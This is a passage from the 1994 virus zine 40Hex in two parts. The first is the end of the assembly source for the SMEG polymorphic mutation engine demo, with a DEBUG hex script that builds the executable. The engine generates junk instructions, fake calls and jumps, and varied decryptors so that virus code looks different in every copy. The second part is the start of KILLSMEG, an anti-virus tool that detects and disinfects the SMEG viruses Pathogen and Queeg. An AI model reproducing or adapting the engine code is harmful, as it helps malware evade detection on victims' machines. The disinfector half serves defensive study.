|
|||
|
xlat
|
|||
|
cmp al,48 ; DEC?
|
|||
|
je inc_or_dec
|
|||
|
cmp al,40 ; or INC?
|
|||
|
jne encode_1byte
|
|||
|
inc_or_dec: mov cl,al
|
|||
|
call rnd_get ; get a garbage register
|
|||
|
and al,3
|
|||
|
mov bx,bp ; can we say "lea", boys and
|
|||
|
db 83,0C3,9 ; add bx,9 ; girls?
|
|||
|
xlat ; look up the register
|
|||
|
or al,cl ; fill in the register field
|
|||
|
encode_1byte: stosb
|
|||
|
retn
|
|||
|
|
|||
|
branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished
|
|||
|
je no_pending_cJMP ; conditional jmp?
|
|||
|
jmp finish_cJMP ; if so, finish it
|
|||
|
|
|||
|
no_pending_cJMP:call rnd_get
|
|||
|
cmp ah,6E
|
|||
|
ja do_near_JMP
|
|||
|
do_cond_jmp: and al,0F ; encode a conditional
|
|||
|
or al,70 ; jmp
|
|||
|
stosb
|
|||
|
mov [bp.cJMP_patch],di ; save target offset
|
|||
|
stosb
|
|||
|
retn
|
|||
|
|
|||
|
do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished
|
|||
|
jne do_cond_jmp ; near JMP pending?
|
|||
|
call rnd_get ; if not, encode one
|
|||
|
cmp al,78 ; either just jmp past
|
|||
|
jbe encode_CALL ; or call it too
|
|||
|
mov al,0E9 ; encode near JMP
|
|||
|
stosb
|
|||
|
mov [bp.nJMP_patch],di ; save location to patch
|
|||
|
stosw
|
|||
|
call rnd_get
|
|||
|
cmp al,0AA
|
|||
|
jbe forward_CALL
|
|||
|
go_not_branch_garble:
|
|||
|
jmp not_branch_garble
|
|||
|
|
|||
|
forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL
|
|||
|
je go_not_branch_garble ; we can patch?
|
|||
|
push di ; if there is, patch the CALL
|
|||
|
xchg di,ax ; for here so there are CALLs
|
|||
|
dec ax ; forwards as well as back-
|
|||
|
dec ax ; wards
|
|||
|
mov di,[bp.last_CALL]
|
|||
|
sub ax,di
|
|||
|
stosw
|
|||
|
pop di
|
|||
|
jmp not_branch_garble
|
|||
|
|
|||
|
encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending?
|
|||
|
je do_cond_jmp
|
|||
|
mov al,0E8 ; encode a CALL
|
|||
|
stosb
|
|||
|
cmp word ptr [bp.last_CALL],0
|
|||
|
je store_CALL_loc
|
|||
|
call rnd_get ; 1/2 chance of replacing
|
|||
|
and al,7 ; it (random so it's not
|
|||
|
cmp al,4 ; too predictable)
|
|||
|
jae fill_in_offset
|
|||
|
store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset
|
|||
|
fill_in_offset: mov ax,di ; calculate CALL offset
|
|||
|
sub ax,[bp.CALL_patch]
|
|||
|
neg ax
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
rnd_init: mov ah,2C ; get time
|
|||
|
int 21
|
|||
|
|
|||
|
mov ax,3E1
|
|||
|
mul dx
|
|||
|
add ax,cx
|
|||
|
xchg cx,ax
|
|||
|
in ax,40 ; timer port
|
|||
|
add ax,cx
|
|||
|
mov [bp.rng_buffer],ax
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
rnd_get: push bx cx dx
|
|||
|
mov ax,[bp.rng_buffer]
|
|||
|
mov cx,3E1
|
|||
|
mul cx
|
|||
|
mov cx,ax
|
|||
|
xor dx,dx
|
|||
|
mov bx,35
|
|||
|
div bx
|
|||
|
add dx,cx
|
|||
|
js no_fix_seed1
|
|||
|
in ax,40 ; port 40, 8253 timer 0 clock
|
|||
|
add dx,ax
|
|||
|
no_fix_seed1: cmp dx,[bp.rng_buffer]
|
|||
|
jne no_fix_seed2
|
|||
|
neg dx
|
|||
|
in ax,40 ; port 40, 8253 timer 0 clock
|
|||
|
xor dx,ax
|
|||
|
no_fix_seed2: mov [bp.rng_buffer],dx
|
|||
|
xchg dx,ax
|
|||
|
pop dx cx bx
|
|||
|
retn
|
|||
|
heap:
|
|||
|
|
|||
|
data_area db 02dh dup (?)
|
|||
|
target_area:
|
|||
|
|
|||
|
end SMEG_demo
|
|||
|
-------------------------------
|
|||
|
N SMEGdemo.com
|
|||
|
E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47
|
|||
|
E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69
|
|||
|
E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65
|
|||
|
E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20
|
|||
|
E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42
|
|||
|
E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C
|
|||
|
E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F
|
|||
|
E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A
|
|||
|
E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47
|
|||
|
E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D
|
|||
|
E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22
|
|||
|
E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20
|
|||
|
E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31
|
|||
|
E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20
|
|||
|
E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20
|
|||
|
E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30
|
|||
|
E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30
|
|||
|
E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67
|
|||
|
E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D
|
|||
|
E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C
|
|||
|
E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A
|
|||
|
E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69
|
|||
|
E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74
|
|||
|
E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20
|
|||
|
E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A
|
|||
|
E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20
|
|||
|
E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72
|
|||
|
E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01
|
|||
|
E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01
|
|||
|
E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77
|
|||
|
E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12
|
|||
|
E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21
|
|||
|
E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A
|
|||
|
E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21
|
|||
|
E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E
|
|||
|
E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB
|
|||
|
E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8
|
|||
|
E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB
|
|||
|
E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B
|
|||
|
E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD
|
|||
|
E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68
|
|||
|
E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64
|
|||
|
E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E
|
|||
|
E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72
|
|||
|
E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00
|
|||
|
E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD
|
|||
|
E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8
|
|||
|
E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32
|
|||
|
E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07
|
|||
|
E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01
|
|||
|
E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47
|
|||
|
E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43
|
|||
|
E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89
|
|||
|
E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23
|
|||
|
E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C
|
|||
|
E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8
|
|||
|
E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9
|
|||
|
E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0
|
|||
|
E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5
|
|||
|
E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA
|
|||
|
E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8
|
|||
|
E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A
|
|||
|
E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58
|
|||
|
E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07
|
|||
|
E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05
|
|||
|
E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B
|
|||
|
E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15
|
|||
|
E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05
|
|||
|
E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25
|
|||
|
E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09
|
|||
|
E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39
|
|||
|
E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36
|
|||
|
E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9
|
|||
|
E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0
|
|||
|
E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84
|
|||
|
E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6
|
|||
|
E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12
|
|||
|
E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08
|
|||
|
E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08
|
|||
|
E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00
|
|||
|
E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80
|
|||
|
E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B
|
|||
|
E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04
|
|||
|
E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF
|
|||
|
E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86
|
|||
|
E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00
|
|||
|
E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0
|
|||
|
E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F
|
|||
|
E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00
|
|||
|
E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0
|
|||
|
E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD
|
|||
|
E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42
|
|||
|
E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40
|
|||
|
E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF
|
|||
|
E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0
|
|||
|
E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8
|
|||
|
E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66
|
|||
|
E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0
|
|||
|
E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30
|
|||
|
E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0
|
|||
|
E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20
|
|||
|
E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12
|
|||
|
E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42
|
|||
|
E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20
|
|||
|
E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20
|
|||
|
E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF
|
|||
|
E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0
|
|||
|
E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F
|
|||
|
E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF
|
|||
|
E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15
|
|||
|
E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56
|
|||
|
E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B
|
|||
|
E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B
|
|||
|
E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32
|
|||
|
E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02
|
|||
|
E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8
|
|||
|
E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7
|
|||
|
E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40
|
|||
|
E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0
|
|||
|
E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07
|
|||
|
E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC
|
|||
|
E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A
|
|||
|
E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD
|
|||
|
E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C
|
|||
|
E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3
|
|||
|
E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF
|
|||
|
E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3
|
|||
|
E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9
|
|||
|
E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7
|
|||
|
E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0
|
|||
|
E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86
|
|||
|
E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00
|
|||
|
E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E
|
|||
|
E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3
|
|||
|
E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8
|
|||
|
E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51
|
|||
|
E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B
|
|||
|
E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3
|
|||
|
E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25
|
|||
|
E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B
|
|||
|
E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00
|
|||
|
E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B
|
|||
|
E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03
|
|||
|
E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75
|
|||
|
E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4
|
|||
|
E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4
|
|||
|
E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C
|
|||
|
E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46
|
|||
|
E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33
|
|||
|
E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A
|
|||
|
E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0
|
|||
|
E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C
|
|||
|
E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF
|
|||
|
E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01
|
|||
|
E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75
|
|||
|
E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6
|
|||
|
E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC
|
|||
|
E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6
|
|||
|
E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8
|
|||
|
E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83
|
|||
|
E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A
|
|||
|
E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0
|
|||
|
E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53
|
|||
|
E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97
|
|||
|
E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00
|
|||
|
E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07
|
|||
|
E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3
|
|||
|
E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1
|
|||
|
E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B
|
|||
|
E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0
|
|||
|
E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A
|
|||
|
E 0BB0 59 5B C3
|
|||
|
R CX
|
|||
|
0AB3
|
|||
|
W
|
|||
|
Q
|
|||
|
-------------------------------
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 002
|
|||
|
|
|||
|
KILLSMEG (c) 1994 by Stormbringer of Phalcon/Skism
|
|||
|
|
|||
|
Note: This is an update to an earlier program, KILLQUEEG, which misfired
|
|||
|
badly when it encountered SMEG.Pathogen, as Pathogen is functionally
|
|||
|
almost IDENTICAL to Queeg and would scan the same in the old program,
|
|||
|
but become a disaster on disinfection. KILLSMEG will scan and
|
|||
|
disinfect both correctly, as well as most new variants. Variants
|
|||
|
that it is not likely to be able to disinfect it will report as
|
|||
|
a new variant of SMEG.
|
|||
|
|
|||
|
|
|||
|
DISCLAIMER: Author assumes NO liabilities for any damage this software
|
|||
|
might cause. It is not guaraunteed in any way. I have done
|
|||
|
my best to make it secure and bug free, but it comes as is.
|
|||
|
Use it at your own risk.
|
|||
|
|
|||
|
This program will find and disinfect the two SMEG viruses from specified
|
|||
|
files in current directory. Before using, boot from a CLEAN-WRITE PROTECTED
|
|||
|
disk, and make sure you get this program from a reliable source (source
|
|||
|
code should be included).
|
|||
|
|
|||
|
I wrote this as there is currently no shareware/freeware program available
|
|||
|
capable of disinfecting this polymorphic virus, or even reliably detecting
|
|||
|
it. It also gives insight into one technique that can be used to detect and/
|
|||
|
or disinfect polymorphic viruses.
|
|||
|
|
|||
|
I can be reached via IRC or anywhere else if ya look hard enough ;)
|
|||
|
|
|||
|
Greets go to: Phalcon/Skism, Trident, Trinity, Hermanni, Frisk, Frans, Jenky,
|
|||
|
and all the rest of the virus/anti-virus community.
|
|||
|
|
|||
|
---------------------------
|
|||
|
;KillSMEG (c) 1994 Stormbriner, Phalcon/Skism
|
|||
|
;Finds and disinfects the original SMEG viruses (Pathogen and Queeg)
|
|||
|
|
|||
|
;Author assumes NO responsibility for any damages caused by this program
|
|||
|
;or by the SMEG viruses themselves. This utility is simply made to find it,
|
|||
|
;and may or may not work as it is supposed to. No garuantees.
|
|||
|
|
|||
|
;First phase is to look for time signatures. The seconds in any Queeg
|
|||
|
;infected file (unless something else has changed timestamp after infection)
|
|||
|
;is 56 seconds (1c in bits 0-4 of the time sig). All following Checks are
|
|||
|
;done regardless of the time sig check. Pathogen marks infections by making
|
|||
|
;the high byte in the date > 0c8h
|
|||
|
|
|||
|
;Second Phase on each file is to Check if it's an .EXE or a .COM.
|
|||
|
|
|||
|
;Third phase is to trace the program until an invalid condition is found or
|
|||
|
;the virus is detected.
|
|||
|
|
|||
|
;Finally, the user is asked if s/he wishes to disinfect the virus, and
|
|||
|
;the file is cleaned.
|
|||
|
|
|||
|
Strengths:
|
|||
|
; VERY reliable detection rate from my testing.
|
|||
|
;
|
|||
|
; Currently only free program capable of disinfecting SMEG viruses,
|
|||
|
; especially from .EXE files.
|
|||
|
;
|
|||
|
; Comes with full source code.
|
|||
|
|
|||
|
;Weaknesses:
|
|||
|
; Third phase is slow(!!!), and actually executes part of program,
|
|||
|
; although it is careful not to allow detrimental actions to be taken
|
|||
|
; (i.e. viruses cannot go memres, etc.)
|
|||
|
;
|
|||
|
; Only scans current directory using user filemask.
|
|||
|
;
|
|||
|
; Disinfection will leave some garbage at the end of files,
|
|||
|
; as the virus pads its hosts to the paragraph boundaries.
|
|||
|
; This will cause self-checking programs to choke.
|
|||
|
|
|||
|
.model tiny
|
|||
|
.radix 16
|
|||
|
.code
|
|||
|
org 100
|
|||
|
start:
|
|||
|
ReduceMem:
|
|||
|
mov ah,4a
|
|||
|
mov bx,(endfinder-start+10f)/10 ;Reduce Memory to that needed
|
|||
|
int 21
|
|||
|
|
|||
|
mov sp,offset TopStack ;Set STack within memory
|
|||
|
|
|||
|
mov ah,09
|
|||
|
mov dx,offset IntroMSG
|
|||
|
int 21
|
|||
|
|
|||
|
cmp byte ptr ds:[80],1
|
|||
|
ja CopyFilename
|
|||
|
mov ah,09
|
|||
|
mov dx,offset Instructions
|
|||
|
int 21
|
|||
|
mov ax,4c00
|
|||
|
int 21
|
|||
|
CopyFilename:
|
|||
|
mov si,82
|
|||
|
mov di,offset Filenamebuf
|
|||
|
CopyFN:
|
|||
|
lodsb
|
|||
|
cmp al,0dh
|
|||
|
je doneCFN
|
|||
|
stosb
|
|||
|
jmp CopyFN
|
|||
|
doneCFN:
|
|||
|
xor al,al
|
|||
|
stosb
|
|||
|
|
|||
|
ComSearch:
|
|||
|
mov ah,4e
|
|||
|
mov dx,offset FilenameBuf
|
|||
|
mov cx,07
|
|||
|
FindFirstNext:
|
|||
|
int 21
|
|||
|
jnc SearchGood
|
|||
|
jmp NoMoreCOMS
|
|||
|
SearchGood:
|
|||
|
call notifycheck
|
|||
|
|
|||
|
mov cx,ds:[96]
|
|||
|
and cl,1f
|
|||
|
cmp cl,1c ;Check time stamp (56 seconds)
|
|||
|
jne AfterTimeCheck1
|
|||
|
call SuspiciousTime
|
|||
|
AfterTimeCheck1:
|
|||
|
mov cx,ds:[98]
|
|||
|
cmp ch,0c8
|
|||
|
jb AfterTimeCheck
|
|||
|
call PathTime
|
|||
|
|
|||
|
AfterTimeCheck:
|
|||
|
mov ax,3d00
|
|||
|
mov dx,9e
|
|||
|
int 21
|
|||
|
jnc ATCGood
|
|||
|
jmp ErrorOpen
|
|||
|
ATCGood:
|
|||
|
xchg bx,ax
|
|||
|
mov dx,offset EXECCheck
|
|||
|
mov cx,4
|
|||
|
mov ah,3f
|
|||
|
int 21
|
|||
|
mov ah,3e
|
|||
|
int 21 ;Close File
|
|||
|
mov ax,word ptr ds:[ExecCheck]
|
|||
|
xor ah,al
|
|||
|
cmp ah,('M' xor 'Z') ;Check if it's a com or exec
|
|||
|
je ISEXE
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset JmpByte
|
|||
|
mov si,offset ExecCheck ;Save Jump
|
|||
|
movsb
|
|||
|
movsw
|
|||
|
mov byte ptr ds:[COMEXE],0
|
|||
|
jmp short OtherChecks
|
|||
|
ISEXE:
|
|||
|
mov byte ptr ds:[COMEXE],1
|
|||
|
OtherChecks:
|
|||
|
mov Infected,0 ;Initialize to not infected
|
|||
|
mov TraceDone,0
|
|||
|
call LoadAndCheckFile ;Trace file
|
|||
|
cmp Infected,1
|
|||
|
jne FindAnotherFile
|
|||
|
|
|||
|
call PrintFilename
|
|||
|
cmp Knownvir,1
|
|||
|
je DisinfectProg
|
|||
|
mov ah,09
|
|||
|
mov dx,offset NewVar
|
|||
|
int 21
|
|||
|
jmp FindAnotherFile
|
|||
|
|
|||
|
DisinfectProg:
|
|||
|
mov ah,09
|
|||
|
mov dx,offset InfectedMSG
|
|||
|
int 21
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
int 16
|
|||
|
push ax
|
|||
|
mov dx,offset DoneChecking
|
|||
|
mov ah,09
|
|||
|
int 21
|
|||
|
pop ax
|
|||
|
or al,20
|
|||
|
cmp al,'y'
|
|||
|
jne FindAnotherFile
|
|||
|
Disinfect:
|
|||
|
cmp comexe,1
|
|||
|
je DisEXE
|
|||
|
call DisinfCom
|
|||
|
jmp short FindAnotherFile
|
|||
|
DisEXE:
|
|||
|
call DisinfExe
|
|||
|
FindAnotherFile:
|
|||
|
mov ah,4f
|
|||
|
jmp FindFirstNext
|
|||
|
|
|||
|
ErrorOpen:
|
|||
|
call PRintFilename
|
|||
|
mov ah,09
|
|||
|
mov dx,offset OpenError
|
|||
|
int 21
|
|||
|
jmp FindAnotherFile
|
|||
|
|
|||
|
NoMoreCOMS:
|
|||
|
mov ax,4c00
|
|||
|
int 21
|
|||
|
|
|||
|
SuspiciousTime:
|
|||
|
call PrintFilename
|
|||
|
mov ah,09
|
|||
|
mov dx,offset TIMEMSG
|
|||
|
int 21
|
|||
|
ret
|
|||
|
PathTime:
|
|||
|
call printfilename
|
|||
|
mov ah,09
|
|||
|
mov dx,offset pathtimemsg
|
|||
|
int 21
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
NotifyCheck:
|
|||
|
|
|||
|
mov dx,offset Checking
|
|||
|
mov ah,09
|
|||
|
int 21
|
|||
|
call PrintFileName
|
|||
|
mov dx,offset DoneChecking
|
|||
|
mov ah,09
|
|||
|
int 21
|
|||
|
ret
|
|||
|
